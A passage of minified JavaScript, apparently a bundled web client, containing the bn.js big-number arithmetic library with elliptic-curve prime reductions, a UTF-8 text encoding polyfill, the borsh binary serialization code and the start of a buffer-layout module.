>0;)C.isOdd()&&C.iadd(S),C.iushrn(1);b.cmp(w)>=0?(b.isub(w),A.isub(C)):(w.isub(b),C.isub(A))}var te;return b.cmpn(1)===0?te=A:te=C,te.cmpn(0)<0&&te.iadd(h),te},i.prototype.gcd=function(h){if(this.isZero())return h.abs();if(h.isZero())return this.abs();var b=this.clone(),w=h.clone();b.negative=0,w.negative=0;for(var A=0;b.isEven()&&w.isEven();A++)b.iushrn(1),w.iushrn(1);do{for(;b.isEven();)b.iushrn(1);for(;w.isEven();)w.iushrn(1);var C=b.cmp(w);if(C<0){var S=b;b=w,w=S}else if(C===0||w.cmpn(1)===0)break;b.isub(w)}while(!0);return w.iushln(A)},i.prototype.invm=function(h){return this.egcd(h).a.umod(h)},i.prototype.isEven=function(){return(this.words[0]&1)===0},i.prototype.isOdd=function(){return(this.words[0]&1)===1},i.prototype.andln=function(h){return this.words[0]&h},i.prototype.bincn=function(h){r(typeof h=="number");var b=h%26,w=(h-b)/26,A=1<<b;if(this.length<=w)return this._expand(w+1),this.words[w]|=A,this;for(var C=A,S=w;C!==0&&S<this.length;S++){var z=this.words[S]|0;z+=C,C=z>>>26,z&=67108863,this.words[S]=z}return C!==0&&(this.words[S]=C,this.length++),this},i.prototype.isZero=function(){return this.length===1&&this.words[0]===0},i.prototype.cmpn=function(h){var b=h<0;if(this.negative!==0&&!b)return-1;if(this.negative===0&&b)return 1;this._strip();var w;if(this.length>1)w=1;else{b&&(h=-h),r(h<=67108863,"Number is too big");var A=this.words[0]|0;w=A===h?0:A<h?-1:1}return this.negative!==0?-w|0:w},i.prototype.cmp=function(h){if(this.negative!==0&&h.negative===0)return-1;if(this.negative===0&&h.negative!==0)return 1;var b=this.ucmp(h);return this.negative!==0?-b|0:b},i.prototype.ucmp=function(h){if(this.length>h.length)return 1;if(this.length<h.length)return-1;for(var b=0,w=this.length-1;w>=0;w--){var A=this.words[w]|0,C=h.words[w]|0;if(A!==C){A<C?b=-1:A>C&&(b=1);break}}return b},i.prototype.gtn=function(h){return this.cmpn(h)===1},i.prototype.gt=function(h){return this.cmp(h)===1},i.prototype.gten=function(h){return this.cmpn(h)>=0},i.prototype.gte=function(h){return this.cmp(h)>=0},i.prototype.ltn=function(h){return this.cmpn(h)===-1},i.prototype.lt=function(h){return this.cmp(h)===-1},i.prototype.lten=function(h){return this.cmpn(h)<=0},i.prototype.lte=function(h){return this.cmp(h)<=0},i.prototype.eqn=function(h){return this.cmpn(h)===0},i.prototype.eq=function(h){return this.cmp(h)===0},i.red=function(h){return new U(h)},i.prototype.toRed=function(h){return r(!this.red,"Already a number in reduction context"),r(this.negative===0,"red works only with positives"),h.convertTo(this)._forceRed(h)},i.prototype.fromRed=function(){return r(this.red,"fromRed works only with numbers in reduction context"),this.red.convertFrom(this)},i.prototype._forceRed=function(h){return this.red=h,this},i.prototype.forceRed=function(h){return r(!this.red,"Already a number in reduction context"),this._forceRed(h)},i.prototype.redAdd=function(h){return r(this.red,"redAdd works only with red numbers"),this.red.add(this,h)},i.prototype.redIAdd=function(h){return r(this.red,"redIAdd works only with red numbers"),this.red.iadd(this,h)},i.prototype.redSub=function(h){return r(this.red,"redSub works only with red numbers"),this.red.sub(this,h)},i.prototype.redISub=function(h){return r(this.red,"redISub works only with red numbers"),this.red.isub(this,h)},i.prototype.redShl=function(h){return r(this.red,"redShl works only with red numbers"),this.red.shl(this,h)},i.prototype.redMul=function(h){return r(this.red,"redMul works only with red numbers"),this.red._verify2(this,h),this.red.mul(this,h)},i.prototype.redIMul=function(h){return r(this.red,"redMul works only with red numbers"),this.red._verify2(this,h),this.red.imul(this,h)},i.prototype.redSqr=function(){return r(this.red,"redSqr works only with red numbers"),this.red._verify1(this),this.red.sqr(this)},i.prototype.redISqr=function(){return r(this.red,"redISqr works only with red numbers"),this.red._verify1(this),this.red.isqr(this)},i.prototype.redSqrt=function(){return r(this.red,"redSqrt works only with red numbers"),this.red._verify1(this),this.red.sqrt(this)},i.prototype.redInvm=function(){return r(this.red,"redInvm works only with red numbers"),this.red._verify1(this),this.red.invm(this)},i.prototype.redNeg=function(){return r(this.red,"redNeg works only with red numbers"),this.red._verify1(this),this.red.neg(this)},i.prototype.redPow=function(h){return r(this.red&&!h.red,"redPow(normalNum)"),this.red._verify1(this),this.red.pow(this,h)};var R={k256:null,p224:null,p192:null,p25519:null};function K(L,h){this.name=L,this.p=new i(h,16),this.n=this.p.bitLength(),this.k=new i(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}K.prototype._tmp=function(){var h=new i(null);return h.words=new Array(Math.ceil(this.n/13)),h},K.prototype.ireduce=function(h){var b=h,w;do this.split(b,this.tmp),b=this.imulK(b),b=b.iadd(this.tmp),w=b.bitLength();while(w>this.n);var A=w<this.n?-1:b.ucmp(this.p);return A===0?(b.words[0]=0,b.length=1):A>0?b.isub(this.p):b.strip!==void 0?b.strip():b._strip(),b},K.prototype.split=function(h,b){h.iushrn(this.n,0,b)},K.prototype.imulK=function(h){return h.imul(this.k)};function W(){K.call(this,"k256","ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f")}o(W,K),W.prototype.split=function(h,b){for(var w=4194303,A=Math.min(h.length,9),C=0;C<A;C++)b.words[C]=h.words[C];if(b.length=A,h.length<=9){h.words[0]=0,h.length=1;return}var S=h.words[9];for(b.words[b.length++]=S&w,C=10;C<h.length;C++){var z=h.words[C]|0;h.words[C-10]=(z&w)<<4|S>>>22,S=z}S>>>=22,h.words[C-10]=S,S===0&&h.length>10?h.length-=10:h.length-=9},W.prototype.imulK=function(h){h.words[h.length]=0,h.words[h.length+1]=0,h.length+=2;for(var b=0,w=0;w<h.length;w++){var A=h.words[w]|0;b+=A*977,h.words[w]=b&67108863,b=A*64+(b/67108864|0)}return h.words[h.length-1]===0&&(h.length--,h.words[h.length-1]===0&&h.length--),h};function j(){K.call(this,"p224","ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001")}o(j,K);function H(){K.call(this,"p192","ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff")}o(H,K);function P(){K.call(this,"25519","7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed")}o(P,K),P.prototype.imulK=function(h){for(var b=0,w=0;w<h.length;w++){var A=(h.words[w]|0)*19+b,C=A&67108863;A>>>=26,h.words[w]=C,b=A}return b!==0&&(h.words[h.length++]=b),h},i._prime=function(h){if(R[h])return R[h];var b;if(h==="k256")b=new W;else if(h==="p224")b=new j;else if(h==="p192")b=new H;else if(h==="p25519")b=new P;else throw new Error("Unknown prime "+h);return R[h]=b,b};function U(L){if(typeof L=="string"){var h=i._prime(L);this.m=h.p,this.prime=h}else r(L.gtn(1),"modulus must be greater than 1"),this.m=L,this.prime=null}U.prototype._verify1=function(h){r(h.negative===0,"red works only with positives"),r(h.red,"red works only with red numbers")},U.prototype._verify2=function(h,b){r((h.negative|b.negative)===0,"red works only with positives"),r(h.red&&h.red===b.red,"red works only with red numbers")},U.prototype.imod=function(h){return this.prime?this.prime.ireduce(h)._forceRed(this):(c(h,h.umod(this.m)._forceRed(this)),h)},U.prototype.neg=function(h){return h.isZero()?h.clone():this.m.sub(h)._forceRed(this)},U.prototype.add=function(h,b){this._verify2(h,b);var w=h.add(b);return w.cmp(this.m)>=0&&w.isub(this.m),w._forceRed(this)},U.prototype.iadd=function(h,b){this._verify2(h,b);var w=h.iadd(b);return w.cmp(this.m)>=0&&w.isub(this.m),w},U.prototype.sub=function(h,b){this._verify2(h,b);var w=h.sub(b);return w.cmpn(0)<0&&w.iadd(this.m),w._forceRed(this)},U.prototype.isub=function(h,b){this._verify2(h,b);var w=h.isub(b);return w.cmpn(0)<0&&w.iadd(this.m),w},U.prototype.shl=function(h,b){return this._verify1(h),this.imod(h.ushln(b))},U.prototype.imul=function(h,b){return this._verify2(h,b),this.imod(h.imul(b))},U.prototype.mul=function(h,b){return this._verify2(h,b),this.imod(h.mul(b))},U.prototype.isqr=function(h){return this.imul(h,h.clone())},U.prototype.sqr=function(h){return this.mul(h,h)},U.prototype.sqrt=function(h){if(h.isZero())return h.clone();var b=this.m.andln(3);if(r(b%2===1),b===3){var w=this.m.add(new i(1)).iushrn(2);return this.pow(h,w)}for(var A=this.m.subn(1),C=0;!A.isZero()&&A.andln(1)===0;)C++,A.iushrn(1);r(!A.isZero());var S=new i(1).toRed(this),z=S.redNeg(),k=this.m.subn(1).iushrn(1),y=this.m.bitLength();for(y=new i(2*y*y).toRed(this);this.pow(y,k).cmp(z)!==0;)y.redIAdd(z);for(var T=this.pow(y,A),te=this.pow(h,A.addn(1).iushrn(1)),le=this.pow(h,A),re=C;le.cmp(S)!==0;){for(var de=le,ce=0;de.cmp(S)!==0;ce++)de=de.redSqr();r(ce<re);var we=this.pow(T,new i(1).iushln(re-ce-1));te=te.redMul(we),T=we.redSqr(),le=le.redMul(T),re=ce}return te},U.prototype.invm=function(h){var b=h._invmp(this.m);return b.negative!==0?(b.negative=0,this.imod(b).redNeg()):this.imod(b)},U.prototype.pow=function(h,b){if(b.isZero())return new i(1).toRed(this);if(b.cmpn(1)===0)return h.clone();var w=4,A=new Array(1<<w);A[0]=new i(1).toRed(this),A[1]=h;for(var C=2;C<A.length;C++)A[C]=this.mul(A[C-1],h);var S=A[0],z=0,k=0,y=b.bitLength()%26;for(y===0&&(y=26),C=b.length-1;C>=0;C--){for(var T=b.words[C],te=y-1;te>=0;te--){var le=T>>te&1;if(S!==A[0]&&(S=this.sqr(S)),le===0&&z===0){k=0;continue}z<<=1,z|=le,k++,!(k!==w&&(C!==0||te!==0))&&(S=this.mul(S,A[z]),k=0,z=0)}y=26}return S},U.prototype.convertTo=function(h){var b=h.umod(this.m);return b===h?b.clone():b},U.prototype.convertFrom=function(h){var b=h.clone();return b.red=null,b},i.mont=function(h){return new X(h)};function X(L){U.call(this,L),this.shift=this.m.bitLength(),this.shift%26!==0&&(this.shift+=26-this.shift%26),this.r=new i(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}o(X,U),X.prototype.convertTo=function(h){return this.imod(h.ushln(this.shift))},X.prototype.convertFrom=function(h){var b=this.imod(h.mul(this.rinv));return b.red=null,b},X.prototype.imul=function(h,b){if(h.isZero()||b.isZero())return h.words[0]=0,h.length=1,h;var w=h.imul(b),A=w.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),C=w.isub(A).iushrn(this.shift),S=C;return C.cmp(this.m)>=0?S=C.isub(this.m):C.cmpn(0)<0&&(S=C.iadd(this.m)),S._forceRed(this)},X.prototype.mul=function(h,b){if(h.isZero()||b.isZero())return new i(0)._forceRed(this);var w=h.mul(b),A=w.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),C=w.isub(A).iushrn(this.shift),S=C;return C.cmp(this.m)>=0?S=C.isub(this.m):C.cmpn(0)<0&&(S=C.iadd(this.m)),S._forceRed(this)},X.prototype.invm=function(h){var b=this.imod(h._invmp(this.m).mul(this.r2));return b._forceRed(this)}})(e,er)})(Gb);var j5=Gb.exports;function is(e,t,n){return t<=e&&e<=n}function fm(e){if(e===void 0)return{};if(e===Object(e))return e;throw TypeError("Could not convert argument to dictionary")}function W5(e){for(var t=String(e),n=t.length,r=0,o=[];r<n;){var i=t.charCodeAt(r);if(i<55296||i>57343)o.push(i);else if(56320<=i&&i<=57343)o.push(65533);else if(55296<=i&&i<=56319)if(r===n-1)o.push(65533);else{var s=e.charCodeAt(r+1);if(56320<=s&&s<=57343){var a=i&1023,l=s&1023;o.push(65536+(a<<10)+l),r+=1}else o.push(65533)}r+=1}return o}function G5(e){for(var t="",n=0;n<e.length;++n){var r=e[n];r<=65535?t+=String.fromCharCode(r):(r-=65536,t+=String.fromCharCode((r>>10)+55296,(r&1023)+56320))}return t}var pp=-1;function Yb(e){this.tokens=[].slice.call(e)}Yb.prototype={endOfStream:function(){return!this.tokens.length},read:function(){return this.tokens.length?this.tokens.shift():pp},prepend:function(e){if(Array.isArray(e))for(var t=e;t.length;)this.tokens.unshift(t.pop());else this.tokens.unshift(e)},push:function(e){if(Array.isArray(e))for(var t=e;t.length;)this.tokens.push(t.shift());else this.tokens.push(e)}};var Fu=-1;function Iv(e,t){if(e)throw TypeError("Decoder error");return t||65533}var mp="utf-8";function vp(e,t){if(!(this instanceof vp))return new vp(e,t);if(e=e!==void 0?String(e).toLowerCase():mp,e!==mp)throw new Error("Encoding not supported. Only utf-8 is supported");t=fm(t),this._streaming=!1,this._BOMseen=!1,this._decoder=null,this._fatal=!!t.fatal,this._ignoreBOM=!!t.ignoreBOM,Object.defineProperty(this,"encoding",{value:"utf-8"}),Object.defineProperty(this,"fatal",{value:this._fatal}),Object.defineProperty(this,"ignoreBOM",{value:this._ignoreBOM})}vp.prototype={decode:function(t,n){var r;typeof t=="object"&&t instanceof ArrayBuffer?r=new Uint8Array(t):typeof t=="object"&&"buffer"in t&&t.buffer instanceof ArrayBuffer?r=new Uint8Array(t.buffer,t.byteOffset,t.byteLength):r=new Uint8Array(0),n=fm(n),this._streaming||(this._decoder=new Y5({fatal:this._fatal}),this._BOMseen=!1),this._streaming=!!n.stream;for(var o=new Yb(r),i=[],s;!o.endOfStream()&&(s=this._decoder.handler(o,o.read()),s!==Fu);)s!==null&&(Array.isArray(s)?i.push.apply(i,s):i.push(s));if(!this._streaming){do{if(s=this._decoder.handler(o,o.read()),s===Fu)break;s!==null&&(Array.isArray(s)?i.push.apply(i,s):i.push(s))}while(!o.endOfStream());this._decoder=null}return i.length&&["utf-8"].indexOf(this.encoding)!==-1&&!this._ignoreBOM&&!this._BOMseen&&(i[0]===65279?(this._BOMseen=!0,i.shift()):this._BOMseen=!0),G5(i)}};function gp(e,t){if(!(this instanceof gp))return new gp(e,t);if(e=e!==void 0?String(e).toLowerCase():mp,e!==mp)throw new Error("Encoding not supported. Only utf-8 is supported");t=fm(t),this._streaming=!1,this._encoder=null,this._options={fatal:!!t.fatal},Object.defineProperty(this,"encoding",{value:"utf-8"})}gp.prototype={encode:function(t,n){t=t?String(t):"",n=fm(n),this._streaming||(this._encoder=new B5(this._options)),this._streaming=!!n.stream;for(var r=[],o=new Yb(W5(t)),i;!o.endOfStream()&&(i=this._encoder.handler(o,o.read()),i!==Fu);)Array.isArray(i)?r.push.apply(r,i):r.push(i);if(!this._streaming){for(;i=this._encoder.handler(o,o.read()),i!==Fu;)Array.isArray(i)?r.push.apply(r,i):r.push(i);this._encoder=null}return new Uint8Array(r)}};function Y5(e){var t=e.fatal,n=0,r=0,o=0,i=128,s=191;this.handler=function(a,l){if(l===pp&&o!==0)return o=0,Iv(t);if(l===pp)return Fu;if(o===0){if(is(l,0,127))return l;if(is(l,194,223))o=1,n=l-192;else if(is(l,224,239))l===224&&(i=160),l===237&&(s=159),o=2,n=l-224;else if(is(l,240,244))l===240&&(i=144),l===244&&(s=143),o=3,n=l-240;else return Iv(t);return n=n<<6*o,null}if(!is(l,i,s))return n=o=r=0,i=128,s=191,a.prepend(l),Iv(t);if(i=128,s=191,r+=1,n+=l-128<<6*(o-r),r!==o)return null;var u=n;return n=o=r=0,u}}function B5(e){e.fatal,this.handler=function(t,n){if(n===pp)return Fu;if(is(n,0,127))return n;var r,o;is(n,128,2047)?(r=1,o=192):is(n,2048,65535)?(r=2,o=224):is(n,65536,1114111)&&(r=3,o=240);for(var i=[(n>>6*r)+o];r>0;){var s=n>>6*(r-1);i.push(128|s&63),r-=1}return i}}const J5=Object.freeze(Object.defineProperty({__proto__:null,TextDecoder:vp,TextEncoder:gp},Symbol.toStringTag,{value:"Module"})),V5=sm(J5);var U5=er&&er.__createBinding||(Object.create?function(e,t,n,r){r===void 0&&(r=n),Object.defineProperty(e,r,{enumerable:!0,get:function(){return t[n]}})}:function(e,t,n,r){r===void 0&&(r=n),e[r]=t[n]}),F5=er&&er.__setModuleDefault||(Object.create?function(e,t){Object.defineProperty(e,"default",{enumerable:!0,value:t})}:function(e,t){e.default=t}),Bi=er&&er.__decorate||function(e,t,n,r){var o=arguments.length,i=o<3?t:r===null?r=Object.getOwnPropertyDescriptor(t,n):r,s;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")i=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(s=e[a])&&(i=(o<3?s(i):o>3?s(t,n,i):s(t,n))||i);return o>3&&i&&Object.defineProperty(t,n,i),i},H5=er&&er.__importStar||function(e){if(e&&e.__esModule)return e;var t={};if(e!=null)for(var n in e)n!=="default"&&Object.hasOwnProperty.call(e,n)&&U5(t,e,n);return F5(t,e),t},hM=er&&er.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(Cr,"__esModule",{value:!0});var pM=Cr.deserializeUnchecked=IM=Cr.deserialize=bM=Cr.serialize=Cr.BinaryReader=Cr.BinaryWriter=Cr.BorshError=Cr.baseDecode=Cr.baseEncode=void 0;const Qs=hM(j5),mM=hM(fM),P5=H5(V5),D5=typeof TextDecoder!="function"?P5.TextDecoder:TextDecoder,X5=new D5("utf-8",{fatal:!0});function Q5(e){return typeof e=="string"&&(e=sn.from(e,"utf8")),mM.default.encode(sn.from(e))}Cr.baseEncode=Q5;function _5(e){return sn.from(mM.default.decode(e))}Cr.baseDecode=_5;const qv=1024;class Pr extends Error{constructor(t){super(t),this.fieldPath=[],this.originalMessage=t}addToFieldPath(t){this.fieldPath.splice(0,0,t),this.message=this.originalMessage+": "+this.fieldPath.join(".")}}Cr.BorshError=Pr;class vM{constructor(){this.buf=sn.alloc(qv),this.length=0}maybeResize(){this.buf.length<16+this.length&&(this.buf=sn.concat([this.buf,sn.alloc(qv)]))}writeU8(t){this.maybeResize(),this.buf.writeUInt8(t,this.length),this.length+=1}writeU16(t){this.maybeResize(),this.buf.writeUInt16LE(t,this.length),this.length+=2}writeU32(t){this.maybeResize(),this.buf.writeUInt32LE(t,this.length),this.length+=4}writeU64(t){this.maybeResize(),this.writeBuffer(sn.from(new Qs.default(t).toArray("le",8)))}writeU128(t){this.maybeResize(),this.writeBuffer(sn.from(new Qs.default(t).toArray("le",16)))}writeU256(t){this.maybeResize(),this.writeBuffer(sn.from(new Qs.default(t).toArray("le",32)))}writeU512(t){this.maybeResize(),this.writeBuffer(sn.from(new Qs.default(t).toArray("le",64)))}writeBuffer(t){this.buf=sn.concat([sn.from(this.buf.subarray(0,this.length)),t,sn.alloc(qv)]),this.length+=t.length}writeString(t){this.maybeResize();const n=sn.from(t,"utf8");this.writeU32(n.length),this.writeBuffer(n)}writeFixedArray(t){this.writeBuffer(sn.from(t))}writeArray(t,n){this.maybeResize(),this.writeU32(t.length);for(const r of t)this.maybeResize(),n(r)}toArray(){return this.buf.subarray(0,this.length)}}Cr.BinaryWriter=vM;function Ji(e,t,n){const r=n.value;n.value=function(...o){try{return r.apply(this,o)}catch(i){if(i instanceof RangeError){const s=i.code;if(["ERR_BUFFER_OUT_OF_BOUNDS","ERR_OUT_OF_RANGE"].indexOf(s)>=0)throw new Pr("Reached the end of buffer when deserializing")}throw i}}}class Eo{constructor(t){this.buf=t,this.offset=0}readU8(){const t=this.buf.readUInt8(this.offset);return this.offset+=1,t}readU16(){const t=this.buf.readUInt16LE(this.offset);return this.offset+=2,t}readU32(){const t=this.buf.readUInt32LE(this.offset);return this.offset+=4,t}readU64(){const t=this.readBuffer(8);return new Qs.default(t,"le")}readU128(){const t=this.readBuffer(16);return new Qs.default(t,"le")}readU256(){const t=this.readBuffer(32);return new Qs.default(t,"le")}readU512(){const t=this.readBuffer(64);return new Qs.default(t,"le")}readBuffer(t){if(this.offset+t>this.buf.length)throw new Pr(`Expected buffer length ${t} isn't within bounds`);const n=this.buf.slice(this.offset,this.offset+t);return this.offset+=t,n}readString(){const t=this.readU32(),n=this.readBuffer(t);try{return X5.decode(n)}catch(r){throw new Pr(`Error decoding UTF-8 string: ${r}`)}}readFixedArray(t){return new Uint8Array(this.readBuffer(t))}readArray(t){const n=this.readU32(),r=Array();for(let o=0;o<n;++o)r.push(t());return r}}Bi([Ji],Eo.prototype,"readU8",null);Bi([Ji],Eo.prototype,"readU16",null);Bi([Ji],Eo.prototype,"readU32",null);Bi([Ji],Eo.prototype,"readU64",null);Bi([Ji],Eo.prototype,"readU128",null);Bi([Ji],Eo.prototype,"readU256",null);Bi([Ji],Eo.prototype,"readU512",null);Bi([Ji],Eo.prototype,"readString",null);Bi([Ji],Eo.prototype,"readFixedArray",null);Bi([Ji],Eo.prototype,"readArray",null);Cr.BinaryReader=Eo;function gM(e){return e.charAt(0).toUpperCase()+e.slice(1)}function Fa(e,t,n,r,o){try{if(typeof r=="string")o[`write${gM(r)}`](n);else if(r instanceof Array)if(typeof r[0]=="number"){if(n.length!==r[0])throw new Pr(`Expecting byte array of length ${r[0]}, but got ${n.length} bytes`);o.writeFixedArray(n)}else if(r.length===2&&typeof r[1]=="number"){if(n.length!==r[1])throw new Pr(`Expecting byte array of length ${r[1]}, but got ${n.length} bytes`);for(let i=0;i<r[1];i++)Fa(e,null,n[i],r[0],o)}else o.writeArray(n,i=>{Fa(e,t,i,r[0],o)});else if(r.kind!==void 0)switch(r.kind){case"option":{n==null?o.writeU8(0):(o.writeU8(1),Fa(e,t,n,r.type,o));break}case"map":{o.writeU32(n.size),n.forEach((i,s)=>{Fa(e,t,s,r.key,o),Fa(e,t,i,r.value,o)});break}default:throw new Pr(`FieldType ${r} unrecognized`)}else yM(e,n,o)}catch(i){throw i instanceof Pr&&i.addToFieldPath(t),i}}function yM(e,t,n){if(typeof t.borshSerialize=="function"){t.borshSerialize(n);return}const r=e.get(t.constructor);if(!r)throw new Pr(`Class ${t.constructor.name} is missing in schema`);if(r.kind==="struct")r.fields.map(([o,i])=>{Fa(e,o,t[o],i,n)});else if(r.kind==="enum"){const o=t[r.field];for(let i=0;i<r.values.length;++i){const[s,a]=r.values[i];if(s===o){n.writeU8(i),Fa(e,s,t[s],a,n);break}}}else throw new Pr(`Unexpected schema kind: ${r.kind} for ${t.constructor.name}`)}function $5(e,t,n=vM){const r=new n;return yM(e,t,r),r.toArray()}var bM=Cr.serialize=$5;function Ha(e,t,n,r){try{if(typeof n=="string")return r[`read${gM(n)}`]();if(n instanceof Array){if(typeof n[0]=="number")return r.readFixedArray(n[0]);if(typeof n[1]=="number"){const o=[];for(let i=0;i<n[1];i++)o.push(Ha(e,null,n[0],r));return o}else return r.readArray(()=>Ha(e,t,n[0],r))}if(n.kind==="option")return r.readU8()?Ha(e,t,n.type,r):void 0;if(n.kind==="map"){let o=new Map;const i=r.readU32();for(let s=0;s<i;s++){const a=Ha(e,t,n.key,r),l=Ha(e,t,n.value,r);o.set(a,l)}return o}return Bb(e,n,r)}catch(o){throw o instanceof Pr&&o.addToFieldPath(t),o}}function Bb(e,t,n){if(typeof t.borshDeserialize=="function")return t.borshDeserialize(n);const r=e.get(t);if(!r)throw new Pr(`Class ${t.name} is missing in schema`);if(r.kind==="struct"){const o={};for(const[i,s]of e.get(t).fields)o[i]=Ha(e,i,s,n);return new t(o)}if(r.kind==="enum"){const o=n.readU8();if(o>=r.values.length)throw new Pr(`Enum index: ${o} is out of range`);const[i,s]=r.values[o],a=Ha(e,i,s,n);return new t({[i]:a})}throw new Pr(`Unexpected schema kind: ${r.kind} for ${t.constructor.name}`)}function eL(e,t,n,r=Eo){const o=new r(n),i=Bb(e,t,o);if(o.offset<n.length)throw new Pr(`Unexpected ${n.length-o.offset} bytes after deserialized data`);return i}var IM=Cr.deserialize=eL;function tL(e,t,n,r=Eo){const o=new r(n);return Bb(e,t,o)}pM=Cr.deserializeUnchecked=tL;var Be={};Object.defineProperty(Be,"__esModule",{value:!0});Be.s16=Be.s8=Be.nu64be=Be.u48be=Be.u40be=Be.u32be=Be.u24be=Be.u16be=Ar=Be.nu64=Be.u48=Be.u40=zt=Be.u32=Be.u24=Ko=Be.u16=gn=Be.u8=hl=Be.offset=Be.greedy=Be.Constant=Be.UTF8=Be.CString=Be.Blob=Be.Boolean=Be.BitField=Be.BitStructure=Be.VariantLayout=Be.Union=Be.UnionLayoutDiscriminator=Be.UnionDiscriminator=Be.Structure=Be.Sequence=Be.DoubleBE=Be.Double=Be.FloatBE=Be.Float=Be.NearInt64BE=Be.NearInt64=Be.NearUInt64BE=Be.NearUInt64=Be.IntBE=Be.Int=Be.UIntBE=Be.UInt=Be.OffsetLayout=Be.GreedyCount=Be.ExternalLayout=Be.bindConstructorLayout=Be.nameWithProperty=Be.Layout=Be.uint8ArrayToBuffer=Be.checkUint8Array=void 0;Be.constant=Be.utf8=Be.cstr=xn=Be.blob=Be.unionLayoutDiscriminator=Be.union=Wr=Be.seq=Be.bits=Ct=Be.struct=Be.f64be=Be.f64=Be.f32be=Be.f32=Be.ns64be=Be.s48be=Be.s40be=Be.s32be=Be.s24be=Be.s16be=go=Be.ns64=Be.s48=Be.s40=Be.s32=Be.s24=void 0;const Jb=dm;function hc(e){if(!(e instanceof Uint8Array))throw new TypeError("b must be a Uint8Array")}Be.checkUint8Array=hc;function yn(e){return hc(e),Jb.Buffer.from(e.buffer,e.byteOffset,e.length)}Be.uint8ArrayToBuffer=yn;class An{constructor(t,n){if(!Number.isInteger(t))throw new TypeError("span must be an integer");this.span=t,this.property=n}makeDestinationObject(){return{}}getSpan(t,n){if(0>this.span)throw new RangeError("indeterminate span");return this.span}replicate(t){const n=Object.create(this.constructor.prototype);return Object.assign(n,this),n.property=t,n}fromArray(t){}}Be.Layout=An;function Vb(e,t){return t.property?e+"["+t.property+"]":e}Be.nameWithProperty=Vb;function nL(e,t){if(typeof e!="function")throw new TypeError("Class must be constructor");if(Object.prototype.hasOwnProperty.call(e,"layout_"))throw new Error("Class is already bound to a layout");if(!(t&&t instanceof An))throw new TypeError("layout must be a Layout");if(Object.prototype.hasOwnProperty.call(t,"boundConstructor_"))throw new Error("layout is already bound to a constructor");e.layout_=t,t.boundConstructor_=e,t.makeDestinationObject=()=>new e,Object.defineProperty(e.prototype,"encode",{value(n,r){return t.encode(this,n,r)},writable:!0}),Object.defineProperty(e,"decode",{value(n,r){return t.decode(n,r)},writable:!0})}Be.bindConstructorLayout=nL;class oo extends An{isCount(){throw new Error("ExternalLayout is abstract")}}Be.ExternalLayout=oo;class qM extends oo{constructor(t=1,n){if(!Number.isInteger(t)||0>=t)throw new TypeError("elementSpan must be a (positive) integer");super(-1,n),this.elementSpan=t}isCount(){return!0}decode(t,n=0){hc(t);const r=t.length-n;return Math.floor(r/this.elementSpan)}encode(t,n,r){return 0}}Be.GreedyCount=qM;class Ub extends oo{constructor(t,n=0,r){if(!(t instanceof An))throw new TypeError("layout must be a Layout");if(!Number.isInteger(n))throw new TypeError("offset must be integer or undefined");super(t.span,r||t.property),this.layout=t,this.offset=n}isCount(){return this.layout instanceof Go||this.layout instanceof ai}decode(t,n=0){return this.layout.decode(t,n+this.offset)}encode(t,n,r=0){return this.layout.encode(t,n,r+this.offset)}}Be.OffsetLayout=Ub;class Go extends An{constructor(t,n){if(super(t,n),6<this.span)throw new RangeError("span must not exceed 6 bytes")}decode(t,n=0){return yn(t).readUIntLE(n,this.span)}encode(t,n,r=0){return yn(n).writeUIntLE(t,r,this.span),this.span}}Be.UInt=Go;class ai extends An{constructor(t,n){if(super(t,n),6<this.span)throw new RangeError("span must not exceed 6 bytes")}decode(t,n=0){return yn(t).readUIntBE(n,this.span)}encode(t,n,r=0){return yn(n).writeUIntBE(t,r,this.span),this.span}}Be.UIntBE=ai;class Wl extends An{constructor(t,n){if(super(t,n),6<this.span)throw new RangeError("span must not exceed 6 bytes")}decode(t,n=0){return yn(t).readIntLE(n,this.span)}encode(t,n,r=0){return yn(n).writeIntLE(t,r,this.span),this.span}}Be.Int=Wl;class pc extends An{constructor(t,n){if(super(t,n),6<this.span)throw new RangeError("span must not exceed 6 bytes")}decode(t,n=0){return yn(t).readIntBE(n,this.span)}encode(t,n,r=0){return yn(n).writeIntBE(t,r,this.span),this.span}}Be.IntBE=pc;const ug=Math.pow(2,32);function hm(e){const t=Math.floor(e/ug),n=e-t*ug;return{hi32:t,lo32:n}}function pm(e,t){return e*ug+t}class wM extends An{constructor(t){super(8,t)}decode(t,n=0){const r=yn(t),o=r.readUInt32LE(n),i=r.readUInt32LE(n+4);return pm(i,o)}encode(t,n,r=0){const o=hm(t),i=yn(n);return i.writeUInt32LE(o.lo32,r),i.writeUInt32LE(o.hi32,r+4),8}}Be.NearUInt64=wM;class SM extends An{constructor(t){super(8,t)}decode(t,n=0){const r=yn(t),o=r.readUInt32BE(n),i=r.readUInt32BE(n+4);return pm(o,i)}encode(t,n,r=0){const o=hm(t),i=yn(n);return i.writeUInt32BE(o.hi32,r),i.writeUInt32BE(o.lo32,r+4),8}}Be.NearUInt64BE=SM;class EM extends An{constructor(t){super(8,t)}decode(t,n=0){const r=yn(t),o=r.readUInt32LE(n),i=r.readInt32LE(n+4);return pm(i,o)}encode(t,n,r=0){const o=hm(t),i=yn(n);return i.writeUInt32LE(o.lo32,r),i.writeInt32LE(o.hi32,r+4),8}}Be.NearInt64=EM;class AM extends An{constructor(t){super(8,t)}decode(t,n=0){const r=yn(t),o=r.readInt32BE(n),i=r.readUInt32BE(n+4);return pm(o,i)}encode(t,n,r=0){const o=hm(t),i=yn(n);return i.writeInt32BE(o.hi32,r),i.writeUInt32BE(o.lo32,r+4),8}}Be.NearInt64BE=AM;class MM extends An{constructor(t){super(4,t)}decode(t,n=0){return yn(t).readFloatLE(n)}encode(t,n,r=0){return yn(n).writeFloatLE(t,r),4}}Be.Float=MM;class CM extends 